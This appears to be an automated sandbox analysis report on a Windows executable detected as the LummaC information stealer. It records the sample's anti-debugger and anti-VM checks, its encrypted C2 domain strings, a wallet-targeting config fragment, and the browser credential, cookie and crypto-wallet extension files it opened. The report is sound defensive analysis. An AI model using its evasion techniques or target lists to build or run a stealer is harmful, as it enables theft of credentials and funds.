Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A9035 second address: 65A93EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FE8C4E011A2h 0x0000000a popad 0x0000000b push eax 0x0000000c js 00007FE8C4E011A0h 0x00000012 xchg eax, ebx 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FE8C4E01198h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d jg 00007FE8C4E0119Ch 0x00000033 push dword ptr fs:[00000000h] 0x0000003a sub dword ptr [ebp+122D1EBBh], esi 0x00000040 mov dword ptr fs:[00000000h], esp 0x00000047 push esi 0x00000048 and edx, dword ptr [ebp+122D3D44h] 0x0000004e pop edx 0x0000004f jmp 00007FE8C4E011A1h 0x00000054 mov dword ptr [ebp+1248EBDCh], esp 0x0000005a jmp 00007FE8C4E011A9h 0x0000005f cmp dword ptr [ebp+122D3BBCh], 00000000h 0x00000066 jne 00007FE8C4E0126Fh 0x0000006c cmp dword ptr [ebp+122D3B70h], 00000000h 0x00000073 jne 00007FE8C4E01242h 0x00000079 cmp dword ptr [ebp+122D3AC4h], 00000000h 0x00000080 jne 00007FE8C4E012C4h 0x00000086 mov byte ptr [ebp+122D3613h], 0000006Ch 0x0000008d jno 00007FE8C4E01199h 0x00000093 mov eax, DB057083h 0x00000098 mov edx, dword ptr [ebp+122D3B7Ch] 0x0000009e nop 0x0000009f jg 00007FE8C4E011A8h 0x000000a5 push eax 0x000000a6 push eax 0x000000a7 push edx 0x000000a8 push eax 0x000000a9 push edx 0x000000aa push esi 0x000000ab pop esi 0x000000ac rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A93EB second address: 65A93EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A93EF second address: 65A93F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A93F5 second address: 65A9405 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE8C4E5DB2Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Special instruction interceptor: First address: E37D58 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Special instruction interceptor: First address: E37C9E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Special instruction interceptor: First address: 1006897 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Special instruction interceptor: First address: 1074758 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Special instruction interceptor: First address: 63EDF4C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Special instruction interceptor: First address: 63EDE86 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Special instruction interceptor: First address: 659637E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Special instruction interceptor: First address: 65BED5B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Special instruction interceptor: First address: 662C54A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Special instruction interceptor: First address: 63F120E instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe TID: 7536	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe TID: 7532	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe TID: 7508	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe TID: 7520	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe TID: 7644	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe TID: 7652	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe TID: 7516	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe TID: 7512	Thread sleep time: -54027s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: f48jWpQ2F8.exe, f48jWpQ2F8.exe, 00000000.00000002.1919444746.0000000000FC2000.00000040.00000001.01000000.00000003.sdmp, f48jWpQ2F8.exe, 00000000.00000002.1927618849.0000000006578000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696503903o
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696503903}
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696503903x
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696503903h
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696503903x
Source: f48jWpQ2F8.exe, 00000000.00000003.1683698214.0000000001327000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1514316274.0000000001327000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000002.1921756919.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1653049966.0000000001327000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1837598067.0000000001327000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000002.1921756919.0000000001327000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696503903]
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696503903
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696503903\|UE
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696503903
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696503903
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696503903u
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696503903
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696503903t
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903}
Source: f48jWpQ2F8.exe, 00000000.00000003.1838717053.0000000001390000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__`7m
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903x
Source: f48jWpQ2F8.exe, 00000000.00000003.1564990981.0000000005A29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NVMware2
Source: f48jWpQ2F8.exe, 00000000.00000002.1921756919.0000000001327000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696503903t
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696503903s
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696503903
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696503903d
Source: f48jWpQ2F8.exe, 00000000.00000002.1919444746.0000000000FC2000.00000040.00000001.01000000.00000003.sdmp, f48jWpQ2F8.exe, 00000000.00000002.1927618849.0000000006578000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696503903j
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696503903f
Source: f48jWpQ2F8.exe, 00000000.00000003.1565879588.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696503903
Source: f48jWpQ2F8.exe, 00000000.00000003.1564990981.0000000005A29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696503903p

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: NTICE
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: SICE
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: f48jWpQ2F8.exe, 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: rapeflowwj.lat
Source: f48jWpQ2F8.exe, 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: crosshuaht.lat
Source: f48jWpQ2F8.exe, 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: sustainskelet.lat
Source: f48jWpQ2F8.exe, 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: aspecteirs.lat
Source: f48jWpQ2F8.exe, 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: energyaffai.lat
Source: f48jWpQ2F8.exe, 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: necklacebudi.lat
Source: f48jWpQ2F8.exe, 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: discokeyus.lat
Source: f48jWpQ2F8.exe, 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: grannyejh.lat

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: f48jWpQ2F8.exe, 00000000.00000002.1920423907.0000000001005000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: IProgram Manager
Source: f48jWpQ2F8.exe, 00000000.00000002.1927618849.0000000006578000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: f48jWpQ2F8.exe, 00000000.00000003.1683698214.0000000001327000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1697114867.0000000001330000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1683988687.000000000132F000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1683698214.000000000130C000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1683853721.00000000012F2000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: f48jWpQ2F8.exe PID: 7456, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: f48jWpQ2F8.exe, 00000000.00000003.1653126097.0000000001378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :0,"p":"%appdata%\\Electrum\\wallets","m":["*"],"z":"Wallets/Electrum","d":0
Source: f48jWpQ2F8.exe, 00000000.00000003.1653126097.0000000001378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: m-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m
Source: f48jWpQ2F8.exe, 00000000.00000003.1653126097.0000000001378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .jaxx\\IndexedDB","m":["*"],"z":"Wallets/JAXX New Version","d":2,"fs":209715
Source: f48jWpQ2F8.exe, 00000000.00000003.1683988687.0000000001358000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: f48jWpQ2F8.exe	String found in binary or memory: erations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger
Source: f48jWpQ2F8.exe	String found in binary or memory: erations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger
Source: f48jWpQ2F8.exe	String found in binary or memory: erations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger
Source: f48jWpQ2F8.exe	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: f48jWpQ2F8.exe	String found in binary or memory: erations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
